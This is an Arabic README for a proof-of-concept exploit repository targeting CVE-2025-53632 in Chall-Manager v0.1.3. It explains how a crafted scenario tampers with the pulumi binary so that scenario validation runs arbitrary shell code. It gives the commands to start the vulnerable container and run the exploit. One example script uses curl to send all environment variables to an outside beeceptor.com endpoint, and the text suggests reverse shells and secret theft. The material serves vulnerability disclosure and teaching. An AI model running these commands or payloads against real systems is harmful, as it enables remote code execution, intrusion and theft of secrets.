
استغلال لثغرة CVE-2025-53632 لتأكيد قابلية الاستغلال
يحتوي هذا المستودع على استغلال CVE-2025-53632 الذي يؤثر على Chall-Manager < v0.1.4. الإصدارات المتأثرة قديمة بوضوح، وعلى الأرجح لا يستخدمها أحد، لذلك أنا واثق من عدم وجود قابلية استغلال خبيثة لها حاليًا.
لا يمنحك هذا المستودع الحق في مهاجمة أي شخص، لكنه لأغراض تعليمية.
[!WARNING] الطريقة التي يتعامل بها Chall-Manager مع السيناريوهات تجعله قابلاً للاستغلال تمامًا حتى بدون zip slip: يكفي العبث بثنائي
pulumiمن السيناريو بحيث يؤدي التنفيذ التالي إلى تشغيل الكود التعسفي الخاص بك.
نعرض الهجوم على Chall-Manager v0.1.3.
لنتخيل وجود Chall-Manager مكشوفًا (من فضلك لا تفعل ذلك، فهو ليس مصممًا لهذا لأنه تطبيق RCE عند الطلب).
عند إنشاء تحدٍّ، يتم التحقق من السيناريو بواسطة معاينة Pulumi. لا توجد أي سيطرة على هذا الكود نفسه، لذا يمكننا حقن أي شيء.
للقيام بذلك، يستخدم Chall-Manager واجهة auto الخاصة بـ Pulumi، والتي تنفذ ثنائي Pulumi. وهو يفعل ذلك دون مسار مطلق، حيث يتوقع أن يكون الثنائي في /pulumi/bin/pulumi (يبدأ $PATH بـ ).
/pulumi/binباستخدام هذه المعلومات، سنقوم بالتلاعب ببرنامج pulumi عن طريق حقن بعض أكواد الشل قبل تنفيذه.
وبما أنه سيتم التحقق من السيناريو بعد ذلك، فسيتم تنفيذ برنامج pulumi المعدَّل، مما يشغّل السكربت.
من خلال هذا السكربت، يمكنك الآن فتح قشرة عكسية (reverse shell)، أو التنقل عبر البنية التحتية أو داخل الحاوية، أو تسريب الأسرار (مثل تلك الموجودة في متغيرات البيئة)، أو حتى محتوى التحدي (مثل علم التحدي إذا لم يكن أحد السيناريوهات مبنيًا مسبقًا).
لتشغيل هذا العرض التوضيحي للاستغلال، ستحتاج إلى:
شغّل chall-manager.
docker run --name chall-manager -d -p 8080:8080 ctferio/chall-manager:v0.1.3
شغّل main.go
go run main.go --url localhost:8080
كن مبدعًا في سكربتك! على سبيل المثال، يمكنك إرسال معلومات النظام إلى جهة خارجية...
go run main.go --url localhost:8080 --script 'curl -d "$(env)" https://app.beeceptor.com/console/cve-2025-53632'
يمكنك إيقاف حاوية Docker الخاصة بـ Chall-Manager التجريبي بمجرد الانتهاء.
docker stop chall-manager && docker rm $_